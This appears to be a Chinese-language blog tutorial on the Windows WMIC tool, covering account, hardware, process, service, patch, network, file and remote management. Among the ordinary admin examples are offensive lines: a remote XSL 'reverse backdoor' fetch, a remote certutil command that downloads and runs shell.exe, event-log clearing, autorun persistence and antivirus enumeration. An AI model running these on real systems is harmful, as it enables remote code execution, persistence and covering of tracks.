描述:WMI的全名为”Windows Management Instrumentation - Windows管理规范“, 从Windows 98开始 Windows操作系统都支持WMI, 它是由一系列工具集组成的可以在本地或者远程管理计算机系统。
WMI 特点:
WMI有一组API: 我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API,通过调用API实现使用指定的类。
WMI有一个存储库: 尽管WMI的多数实例数据都不存储在WMI中,但是WMI确实有一个存储库,用来存放提供程序提供的类信息,或者称为类的蓝图或者Schema。
WMI有一个Service: 运行有 Winmgmt 的Windows服务,如果停止这个服务所有对WMI的操作都将没有反应。
WMI是可扩展性: 基于WMI的可扩展性 WMI对资源的操作,不是它自己实现了什么方法,而完全取决于向它注册的提供程序。
Q: 为啥需要WMIC.exe管理工具?
描述: 但是在WMIC出现之前如果要管理WMI系统必须使用一些专门的WMI应用,例如SMS或者使用WMI的脚本编程API,或者使用CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。
Q: 什么是wmic.exe
描述: wmic.exe 是 Windows Management Instrumentation Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。其不能直接进行执行需要切换终端到C:WindowsSystem32wbem位置下才能进行调用;通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理
a.启动Windows Management Instrumentation服务,开放TCP135端口。b.本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。
WeiyiGeek.
useraccount - 用户帐户管理计算机用户列表 基础语法:
USERACCOUNT ASSOC [<格式说明符>]
USERACCOUNT CALL <方法名称> [<实际参数列表>]
USERACCOUNT CREATE <分配列表>
USERACCOUNT DELETE
USERACCOUNT GET [<属性列表>] [<获取开关>]
USERACCOUNT LIST [<列表格式>] [<列表开关>]
USERACCOUNT SET [<分配列表>] #设置是否禁用/名称/锁定/密码是否能更改以及密码失效的时间
Disabled boolean
FullName string
Lockout boolean
PasswordChangeable boolean
PasswordExpires boolean
PasswordRequired boolean #密码需要 基础示例:
# 0.用户信息获取
wmic useraccount list brief
# AccountType Caption Domain FullName Name SID
# 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500
# 1.当前计算机用户和所有计算机匹配到的用户列表
WMIC USERACCOUNT where "name='%UserName%'"
WMIC USERACCOUNT LIST /FORMAT:VALUE | findstr /n "<Name> <SID> Descrip Password"
# AccountType Caption Domain FullName Name SID
# 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500
# - 更改用户名Administrator为WeiyiGeek
wmic useraccount where "name='Administrator" call Rename WeiyiGeek
# 2.相关信息更改
# - 计算机用户名称更改
wmic USERACCOUNT where name="Administrator" set FullName="admin" #更改用户administrator全名为admin
# - Lock user account
wmic useraccount where name='username' set disabled=false
# - Unlock user account
wmic useraccount where name='username' set disabled=true
# - Remove password requirement for logging in
wmic useraccount where name='username' set PasswordRequired=false
# - Restrict user from changing password - 限制用户更改密码
wmic useraccount where name='username' set passwordchangeable=false group - 组帐户管理 基础语法
# 用法
GROUP ASSOC [<格式说明符>]
GROUP CALL <方法名称> [<实际参数列表>]
GROUP CREATE <分配列表>
GROUP DELETE
GROUP GET [<属性列表>] [<获取开关>]
GROUP LIST [<列表格式>] [<列表开关>]
# 提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。 简单示例:
# - 获取组SID
wmic group get Caption,InstallDate,LocalAccount,Domain,SID,Status
# aption Domain InstallDate LocalAccount SID Status
# WEIYIGEEKAccess Control Assistance Operators WEIYIGEEK TRUE S-1-5-32-579 OK
# WEIYIGEEKAdministrators WEIYIGEEK TRUE S-1-5-32-544 OK cpu 基础示例:
# //查看CPU及其内存状况内存速率
wmic cpu get SystemName,Caption,name,CurrentClockSpeed
# Caption CurrentClockSpeed Name SystemName
# Intel64 Family 6 Model 60 Stepping 3 3301 Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz WEIYIGEEK
#//查看系统实际核心数(启用)以及线程数
> wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors
NumberOfCores NumberOfEnabledCore NumberOfLogicalProcessors
8 8 8 os - 系统信息 基础语法:
OS CALL <方法名称> [<实际参数列表>]
OS CREATE <分配列表>
OS DELETE
OS GET [<属性列表>] [<获取开关>]
OS LIST [<列表格式>] [<列表开关>]
OS SET [<分配列表>]
> wmic os get /? #可能会被恶意了利用metasploit生成xsl马儿
/FORMAT:<格式说明符> - 处理 XML 结果的关键字/XSL 文件名。 简单示例:
# 0.获取操作系统详情
wmic os get /all /format:list
# 1.计算机简要信息
wmic os list brief
# BuildNumber Organization RegisteredUser SerialNumber SystemDirectory Version
# 18362 WeiyiGeek 00331-10000-00001-AA685 C:Windowssystem32 10.0.18362
# - 获取指定键的值
Wmic os get ServicePackMajorVersion # XP或者Win7 可用查看SP版本
Wmic os get ProductType,OperatingSystemSKU
# OperatingSystemSKU ProductType
# 48 1
# 2.实现反弹后门
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"
# 3.设置覆盖安装实际
wmic os where(primary=1) call setdatetime 20070731144642.555555+480
WeiyiGeek.
bios 基础示例:
#查看bios版本型号
wmic bios get BIOSVersion,Manufacturer,Name
# BIOSVersion Manufacturer Name
# {"DELL - 1072009", "A11", "American Megatrends - 4028D"} Dell Inc. A11 csproduct 基础示例:
#//计算机系统产品信息(笔记本型号)
WMIC CSPRODUCT LIST FULL
# Description=计算机系统产品
# IdentifyingNumber=8QVY
# Name=OptiPlex
# SKUNumber=
# UUID=4C4C4544-5551-5610-8059-B8C04F383632
# Vendor=Dell Inc.
# Version=00 computersystem 基础示例:
#1.系统信息
WMIC COMPUTERSYSTEM list /format:list | findstr /n "<Domain> Roles UserName Manufacturer Model "
# 16:Domain=WORKGROUP
# 25:Manufacturer=Dell Inc.
# 26:Model=OptiPlex 9020
# 44:Roles={"LM_Workstation","LM_Server","Print","NT"}
# 53:UserName=WEIYIGEEKWeiyiGeek
#2.退出所在域
wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名"
#3.更改现有工作组为指定的工作组
wmic computersystem Where "name='计算机名称'" call UnjoinDomainOrWorkgroup
#4.更改计算机名称
wmic computersystem where "caption='%ComputerName%'" call rename newcomputername
# - 补充信息: 获取系统角色、用户名和制造商
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:list
# Domain=WORKGROUP
# Manufacturer=Dell Inc.
# Model=OptiPlex 9020
# Name=WEIYIGEEK
# Roles={"LM_Workstation","LM_Server","Print","NT"}
# UserName=WEIYIGEEKWeiyiGeek baseboard 基础示例:
# //主板信息
WMIC BASEBOARD LIST /FORMAT:list | findstr "<Description> Product Manufacturer"
Description=基板
Manufacturer=Dell Inc.
Product=03CPWF memlogical 描述:Windows10中不能执行该命令;
基础示例:
#获取内存数:
wmic memlogical get totalphysicalmemory sounddev 基础示例:
#声音设备管理信息
ProductName Status StatusInfo
Realtek High Definition Audio OK 3
AMD High Definition Audio Device OK 3 diskdrive 基础示例:
#获取物理磁盘型号大小等 500105249280 (gb|mb|kb|b)
wmic DISKDRIVE get Caption,size,InterfaceType
# Caption InterfaceType Size
# ST1000DM010-2EP102 SCSI 1000202273280
# WD Elements 1078 USB Device USB 1000169372160 logicaldisk 基础示例:
#本地储存设备管理 - 获取硬盘系统格式、总大小、可用空间等 (能看见全部磁盘)
wmic LOGICALDISK get name,Description,filesystem,size,freespace
# Description FileSystem FreeSpace Name Size
# 本地固定磁盘 NTFS 94062698496 C: 161062318080
# 本地固定磁盘 NTFS 260568281088 D: 280247660544
# 本地固定磁盘 NTFS 244968955904 E: 279173918720
# 本地固定磁盘 NTFS 184098725888 F: 279480832000
# 光盘 G:
# 光盘 I:
# 本地固定磁盘 NTFS 275694428160 L: 536870907904
# 本地固定磁盘 NTFS 282572599296 M: 463298621440 desktopmonitor # //显示系统屏幕大小 -- 注意条件
wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth
# ScreenHeight ScreenWidth
# 1080 1920 ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理 基础语法:
# 用法:
ONBOARDDEVICE ASSOC [<格式说明符>]
ONBOARDDEVICE CREATE <分配列表>
ONBOARDDEVICE DELETE
ONBOARDDEVICE GET [<属性列表>] [<获取开关>]
ONBOARDDEVICE LIST [<列表格式>] [<列表开关>] 简单示例:
# - 判断目标系统是否为虚拟机
wmic onboarddevice get Desciption,DeviceType,Enabled,Status /format:list NTEVENTLOG - NT 事件日志文件管理 基础语法:
NTEVENTLOG ASSOC [<格式说明符>]
NTEVENTLOG CALL <方法名称> [<实际参数列表>]
NTEVENTLOG CREATE <分配列表>
NTEVENTLOG DELETE
NTEVENTLOG GET [<属性列表>] [<获取开关>]
NTEVENTLOG LIST [<列表格式>] [<列表开关>]
NTEVENTLOG SET [<分配列表>] 基础操作:
# - (1) 查看系统各类日志记录条数及其分类
wmic nteventlog list brief
# FileSize LogfileName Name NumberOfRecords
# 9506816 Application C:WINDOWSSystem32WinevtLogsApplication.evtx 13542
# 69632 HardwareEvents C:WINDOWSSystem32WinevtLogsHardwareEvents.evtx 0
# 69632 Internet Explorer C:WINDOWSSystem32WinevtLogsInternet Explorer.evtx 0
# 69632 Key Management Service C:WINDOWSSystem32WinevtLogsKey Management Service.evtx 0
# 69632 OAlerts C:WINDOWSSystem32WinevtLogsOAlerts.evtx 66
# 69632 Parameters C:WINDOWSSystem32WinevtLogsParameters.evtx 0
# 69632 State C:WINDOWSSystem32WinevtLogsState.evtx 0
# 19992576 System C:WINDOWSSystem32WinevtLogsSystem.evtx 49428
# 15732736 Windows PowerShell C:WINDOWSSystem32WinevtLogsWindows PowerShell.evtx 9880
# - (2) 清理系统日志
wmic nteventlog where logfileName='system' call cleareventlog
# 执行 (WEIYIGEEKROOTCIMV2:Win32_NTEventlogFile.Name="C:WINDOWSSystem32WinevtLogsSystem.evtx")->cleareventlog() 方法执行成功 0x02 系统服务进程 process - 进程查看和修改 基础语法:
PROCESS ASSOC [<format specifier>] #关联进程
PROCESS CALL <method name> [<actual param list>] #调用函数
* terminate #关闭进程
* create #创建进程
* AttachDebugger #调试进程
* GetOwner #获取执行者
* GetOwnerSid #获取执行则者SID
* SetPriority #设置进程优先级
PROCESS CREATE <assign list> #创建进程
PROCESS DELETE #删除进行
PROCESS GET [<property list>] [<get switches>] #获取进程信息
PROCESS LIST [<list format>] [<list switches>] #列举进程 基础实例:
# 1.显示进程的详细信息
PS C:WindowsSystem32wbem> wmic process list brief
PS C:WindowsSystem32wbem> wmic process list full
# HandleCount Name Priority ProcessId ThreadCount WorkingSetSize
# 0 System Idle Process 0 0 4 8192
# 7653 System 8 4 188 32768
# 2.获取指定进程信息(非常实用)
# - 查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用
wmic process get name,commandline,processid,executablepath /FORMAT:List
# CommandLine="C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe"
# ExecutablePath=C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe
# Name=WindowsTerminal.exe
# ProcessId=11112
# - 直接获取其值不显示其头部
wmic process get caption,commandline /value
# Caption=bash.exe
# CommandLine="D:Program FilesGitusrinash.exe"
#3.调用call进行创建进程、终止进程、删除进程、开启与关闭服务
wmic process call create calc
wmic process call create shutdown.exe #关闭本地计算机
wmic process call create "C:WindowsSystem32
otepad.exe" #新建Notepad++ 进程 或者 该路径有空格的情况下 "C:Program FilesTencentQQ QQ.exe"
wmic process where name="explorer.exe" call terminate
wmic process where name="notepad.exe" delete
# 删除实例 WEIYIGEEKROOTCIMV2:Win32_Process.Handle="31788" 实例删除成功。
wmic service where "name='SERVERNAME'" call startservice # 开启服务
wmic service where "name='SERVERNAME'" call stopservice # 关闭服务
#4.过滤进程显示信息
wmic process where "name='svchost.exe'" get ExecutablePath
wmic process where "name='wechat.exe'" list full # 显示QQ进程的全部信息
# CommandLine="D:Program Files (x86)TencentWeChatWeChat.exe"
# CSName=WEIYIGEEK
# Description=WeChat.exe
# ExecutablePath=D:Program Files (x86)TencentWeChatWeChat.exe
# ExecutionState=
# Handle=10452
# HandleCount=1188
# InstallDate=
# KernelModeTime=98750000
# MaximumWorkingSetSize=126004
# MinimumWorkingSetSize=124824
# Name=WeChat.exe
# OSName=Microsoft Windows 10 专业版|C:Windows|DeviceHarddisk0Partition3
wmic service where "state='running'" list brief # 查看运行中的服务
#5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe:
wmic process where "name='wechat.exe'" call terminate
#结束svchost.exe进程,路径为非C:WINDOWSsystem32svchost.exe的
wmic process where "name='svchost.exe' and ExecutablePath<>'C:WINDOWSsystem32svchost.exe'" call Terminate
wmic process 2345 call terminate #删除指定进程
#6.获取指定进程信息
PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwner
# 执行(WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwner()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# Domain = "WEIYIGEEK";
# ReturnValue = 0;
# User = "WeiyiGeek";
# };
PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwnerSid
# 执行(WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwnerSid()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 0;
# Sid = "S-1-5-21-923396991-3399624210-3190802951-1001";
# };
#7.精确查找与模糊查找
wmic process where caption="notepad.exe" get caption,commandline /value
wmic process where="caption like 'notepad%'" get caption,commandline /value
#8.删除满足多个条件的进程(可以利用Key值进行匹配)
wmic process where name="'QQ.exe' and pid='123'" delete
#9.针对注册表的操作设置自启动
wmic process call create "reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "AutoRun " /t REG_SZ /d "C:windowsautorun.exe" /f"
#10.获取非%windows%目录下可执行文件列表
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
# ExecutablePath
# C:Program Files (x86)Google chrome Applicationchrome.exe
# C:Program Files (x86)GoogleChromeApplicationchrome.exe
WeiyiGeek.
@echo off
::以KB为单位显示进程占用内存
for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
set /a m=%%a/1024
set /a mm=%%b/1024
echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K
)
pause service 描述:进行计算机服务程序管理效果比net start/stop 服务名称强大;
基础语法
SERVICE ASSOC [<format specifier>]
SERVICE CALL <method name> [<actual param list>]
* Change BOOLEAN/STRING/ARRAY OF STRING/UINT8 #更改 crete 函数方法 创建的Key/VALUE
* ChangeStartMode [IN ]StartMode(STRING) (null) #更改启动模式
* Create [IN ]DesktopInteract(BOOLEAN) (null)
* [IN ]DisplayName(STRING)
* [IN ]StartName(STRING)
* [IN ]StartPassword(STRING)
* [IN ]ErrorControl(UINT8)
* [IN ]LoadOrderGroup(STRING)
* [IN ]LoadOrderGroupDependencies(ARRAY OF STRING)
* [IN ]Name(STRING)
* [IN ]PathName(STRING)
* [IN ]ServiceDependencies(ARRAY OF STRING)
* [IN ]ServiceType(UINT8)
* [IN ]StartMode(STRING)
* Delete (null)
* InterrogateService (null) #中和服务
* PauseService (null) #暂停服务
* ResumeService (null) #服务摘要
* StartService (null)
* StopService (null)
* UserControlService [IN ]ControlCode(UINT8) (null) #用户控制服务
SERVICE CREATE <assign list>
SERVICE DELETE
SERVICE GET [<property list>] [<get switches>]
SERVICE LIST [<list format>] [<list switches>] 基础实例:
#1.案例:停止、暂停和运行服务功能
wmic SERVICE where name="Spooler" call startservice #运行spooler服务
wmic SERVICE where name="Spooler" call stopservice #运行spooler服务
wmic SERVICE where name="Spooler" call PauseService #暂停spooler服务
wmic SERVICE where name="Spooler" call delete #删除服务
#2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动]
wmic SERVICE where name="Spooler" set StartMode="auto"
#3.caption 指定服务名进行过滤
Service where caption="windows time" call stopservice #停止服务
Service where caption="windows time" call startservice #启动服务
#停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行)
echo %ERRORLEVEL% #运行命令是否成功
#4.服务信息摘要以及状态信息指定来过滤
wmic service list brief
# ExitCode Name ProcessId StartMode State Status
# 1077 AJRouter 0 Manual Stopped OK
# 0 Spooler 3480 Auto Running OK
wmic service where "State='Running'" list brief
#5.创建一个服务(未找到)
wmic service create /?:full #获取帮助详细
wmic service call create /?:full 如:telnet服务的显示名称是 telnet 服务名称是tlntsvr, 还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来 主要是有一个空格。
WeiyiGeek.
job 描述:设置计算机的计划任务以及获取计划任务;
基础语法:
基础示例:
#0.查看创建的计划任务
wmic job list brief
#1.创建计划任务
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480 0x03 系统软件与补丁 qfe - 查看系统补丁安装情况 基础语法:
QFE ASSOC [<format specifier>]
QFE CREATE <assign list>
QFE DELETE
QFE GET [<property list>] [<get switches>]
QFE LIST [<list format>] [<list switches>] 实践案例:
# 1.查找目标机器是否安装了补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
# Caption Description HotFixID InstalledOn
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849697 10/26/2016
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849696 10/26/2016
# 2.删除已经安装的补丁
wmic qfe where "HotFixID='KB4497727'" delete
# Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status
# http://support.microsoft.com/?kbid=4497727 WEIYIGEEK Security Update KB4497727 4/1/2019
WeiyiGeek.补丁安装情况
product - 软件安装信息查看 基础语法: 安装包在C:WINDOWSInstaller目录下
PRODUCT ASSOC [<format specifier>]
PRODUCT CALL <method name> [<actual param list>]
PRODUCT CREATE <assign list>
PRODUCT DELETE
PRODUCT GET [<property list>] [<get switches>]
PRODUCT LIST [<list format>] [<list switches>] 简单示例:
#1.系统已经安装的软件及其版本号
wmic product get name,version
#2.表示将清单存储为 install.txt 并放在E 盘下 (比较特殊)
wmic /output:E:install.txt product get name,version
#3.修复和卸载安装
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall #卸载.msi安装包
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall #修复.msi安装包
wmic Product where "name='电子摄像指纹采集'" call Uninstall #静默卸载
# 执行(WEIYIGEEKROOTCIMV2:Win32_Product.IdentifyingNumber="{11314157-F5F7-41E7-A507-B700D2AC7F24}",Name="电子摄像指纹
# 采集",Version="1.00.0000")->Uninstall()
# 方法执行成功。
# 外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 1603;
# };
#4.安装软件信息简要查看
wmic product List brief
# Caption IdentifyingNumber Name Vendor Version
# Office 16 Click-to-Run Extensibility Component {90160000-008C-0000-1000-0000000FF1CE} Office 16 Click-to-Run Extensibility Component Microsoft Corporation 16.0.12130.20272
# Office 16 Click-to-Run Localization Component {90160000-008C-0804-1000-0000000FF1CE} Office 16 Click-to-Run Localization Component Microsoft Corporation 16.0.12130.20272
WeiyiGeek.
0x04 网络设置 nicconfig 实例:利用 nicconfig 进行动态或者静态设置ip地址
NICCONFIG ASSOC [<格式说明符>]
NICCONFIG CALL <方法名称> [<实际参数列表>]
NICCONFIG CREATE <分配列表>
NICCONFIG DELETE
NICCONFIG GET [<属性列表>] [<获取开关>]
NICCONFIG LIST [<列表格式>] [<列表开关>] 基础实例:
#1.网卡信息描述以及索引
wmic nicconfig get SettingID,Description,index
# Description Index SettingID
# Microsoft Kernel Debug Network Adapter 0 {7D257BDB-8307-4D9A-BD9B-58EE823EB375}
# Intel(R) Ethernet Connection I217-LM 1 {8EE7E18D-B6A7-4210-B0AF-55F446794580}
#2.设置自动获取或者静态IP地址设置根据条件设置
wmic nicconfig where index=13 call enabledhcp #动态获取IP地址
wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0") #0说明是配置网络接口1。
wmic nicconfig where index=13 call setgateways("192.168.1.1"),(1) #配置网关(默认路由
#3.指定字段获取(get 与 list 不能同时存在)
wmic nicconfig get Description,IPAddress,DefaultIPGateway
# DefaultIPGateway Description IPAddress
# Microsoft Kernel Debug Network Adapter
# {"192.20.172.1"} Intel(R) Ethernet Connection I217-LM {"192.20.172.109", "fe80::d97d:fe6c:10bf:4244"}
# vmware Virtual Ethernet Adapter for VMnet1 {"192.168.64.1", "fe80::34d5:4b52:1627:64dc"}
# VMware Virtual Ethernet Adapter for VMnet8 {"192.168.1.1", "fe80::50fc:1560:33a5:b73f"}
WeiyiGeek.
0x05 文件磁盘操作 share 描述:共享资源管理
#创建参数
Create [IN ]Access(OBJECT) (null)
[IN ]Description(STRING)
[IN ]MaximumAllowed(UINT32)
[IN ]Name(STRING)
[IN ]Password(STRING)
[IN ]Path(STRING)
[IN ]Type(UINT32)
```
基础示例:
```bash
#1.共享查看
net share #查看自己的共享
WMIC SHARE| findstr /n "OK" #查看自己的共享
#2.共享的添加
net share test=d: est
WMIC SHARE CALL Create "","test","3","TestShareName","","c: est",0 #添加共享
#3.net share F$ /delete 也能删除共享
wmic SHARE where name="Brother DCP-L5500D series" call delete #删除共享
WeiyiGeek.
datafile 描述:磁盘 DataFile 管理与操作
基础语法:
#USAGE:
DATAFILE ASSOC [<format specifier>]
DATAFILE CALL <method name> [<actual param list>]
DATAFILE CREATE <assign list>
DATAFILE DELETE
DATAFILE GET [<property list>] [<get switches>]
DATAFILE LIST [<list format>] [<list switches>]
#Where 条件
# AccessMask=18809343
# Archive=TRUE
# Caption=c: est.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958+480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c: est.txt
# Drive=c:
# EightDotThreeFileName=c: est.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958+480
# InUseCount=
# LastAccessed=20181011185819.087958+480
# LastModified=20181011190254.894734+480
# Manufacturer=
# Name=c: est.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUEAccessMask=18809343
# Archive=TRUE
# Caption=c: est.txt
# Compressed=FALSE
# CompressionMethod=
# CreationClassName=CIM_LogicalFile
# CreationDate=20181011185819.087958+480
# CSCreationClassName=Win32_ComputerSystem
# CSName=PC-20170910QIBZ
# Description=c: est.txt
# Drive=c:
# EightDotThreeFileName=c: est.txt
# Encrypted=FALSE
# EncryptionMethod=
# Extension=txt
# FileName=test
# FileSize=55514
# FileType=Text Document
# FSCreationClassName=Win32_FileSystem
# FSName=NTFS
# Hidden=FALSE
# InstallDate=20181011185819.087958+480
# InUseCount=
# LastAccessed=20181011185819.087958+480
# LastModified=20181011190254.894734+480
# Manufacturer=
# Name=c: est.txt
# Path=
# Readable=TRUE
# Status=OK
# System=FALSE
# Version=
# Writeable=TRUE 基础实例:
#1.获取文件的创建、访问、修改时间
wmic datafile where "Name='c:windowssystem32cmd.exe'" get CreationDate,LastAccessed,LastModified
# CreationDate LastAccessed LastModified
# 20191114092108.255728+480 20191114092108.258724+480 20191114092108.258724+480
#2.可以进行文件查找(语句里面通配符以及)
wmic datafile where "drive='e:' and path='test' and FileName='cc' and Extension='cmd'" list #查找e盘下test目录(不包括子目录)下的cc.cmd文件
wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K
wmic datafile where "drive='h:' and extension='txt' and path like '%test%' and filename like '%perl%'" get name #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件
wmic datafile where "drive='c:' and extension='ps1' and path like '%windows%' and filename like '%po%'" get name #比较实用的功能
#3.按照条件删除文件
wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete #删除e盘下文件大小大于10M的.cmd文件
wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete #删除e盘下test目录(不包括子目录)下的非.cmd文件
#4.文件重命名
wmic datafile "c:hello.txt" call rename c: est.txt #改名c:hello.txt为c: est.txt
#5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:,并改名为aa.bat
wmic datafile where "drive='e:' and path='test' and FileName='cc' and Extension='cmd'" call copy "e:aa.bat" #注意目录的写法
WeiyiGeek.
fsdir - 文件目录系统项目管理 基础实例:
#1.查找e盘下名为test的目录
wmic FSDIR where "drive='e:' and filename='test'" list
#2.删除c:good文件夹
wmic FSDIR "c:good" call delete
wmic fsdir where "f:test" call delete # - 使用双斜杆转义
#3.删除e: est目录下除过目录abc的所有目录
wmic FSDIR where "drive='e:' and path='test' and filename<>'abc'" call delete
#4.重命名c:good文件夹为abb
wmic FSDIR "c:good" rename "c:abb"
wmic fsdir where (name='c:test') rename "c:abc"
WeiyiGeek.
pagefileset 描述:页面文件设置管理
基础语法:
PAGEFILESET ASSOC [<格式说明符>]
PAGEFILESET CREATE <分配列表> #注意: Create 不能用于创建新类。
PAGEFILESET DELETE
PAGEFILESET GET [<属性列表>] [<获取开关>]
PAGEFILESET LIST [<列表格式>] [<列表开关>]
PAGEFILESET SET [<分配列表>] 基础实例:
#1.更改当前页面文件初始大小和最大值
wmic PAGEFILESET set InitialSize="512",MaximumSize="512"
#2.页面文件设置到d:下,执行下面两条命令
wmic pagefileset create name='d:pagefile.sys',initialsize=512,maximumsize=1024
wmic pagefileset where "name='d:pagefile.sys'" delete
删除实例 WEIYIGEEKROOTCIMV2:Win32_PageFileSetting.Name="d:pagefile.sys"
实例删除成功。 0x06 远程操作 /node 描述:/node 远程计算机操作WMIC命令开启远程计算机的远程桌面连接;
基础语法:
#开启远程
wmic /node:"[full machine name]" /USER:"[domain][username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
#远程命令执行
wmic /node:[ip] /user:[用户] /password:[密码] process call create "shutdown.exe /r /f /t 0" 基础示例:
# 0.进行wmic控制台登录
wmic /node:"192.168.1.20" /user:"domainadministrator" /password:"123456"
wmic /node:"192.168.1.88" /user:"domainWeiyiGeek" /password:"weiye"
# 1.WMIC命令开启远程计算机的远程桌面连接
wmic /node:10.2.14.20 /USER:"10.2.14.20/administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 2.远程计算机操作实例(打开笔记本)
wmic /node:10.2.14.200 /user:administrator process call create notepad.exe #在远程机器上创建新进程(值得利用) 会返回进程ID
# 3.利用 wmic 实现远程下载后门
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe delete"
# 4.由于wmic执行远程命令没有回显所以要将结果写入到txt中
wmic /node:[TargetIp] /user:[UserName] /password:[Password] process call create "cmd.exe /c ipconfig > c:
esult.txt"
type result.txt
WeiyiGeek.远程管理
rdtoggle 描述:查看与设置远程桌面连接;
基础示例:
#1.查看远程连接的信息
wmic rdtoggle list
# AllowTSConnections ServerName
# 0 WEIYIGEEK
#2.开2003的3389
wmic RDTOGGLE where "name='WEIYIGEEK'" call SetAllowTSConnections 1 0x07 namespace - 名称空间 (1)
ootsecuritycenter2 基础示例:
# - 获取反病毒产品详情
wmic /namespace:rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
# displayName pathToSignedProductExe productState
# 火绒安全软件 C:Program Files (x86)HuorongSysdiaginwsctrl.exe 266240
# Windows Defender windowsdefender:// 401664
# 火绒安全软件 C:Program Files (x86)HuorongSysdiaginwsctrlsvc.exe 266240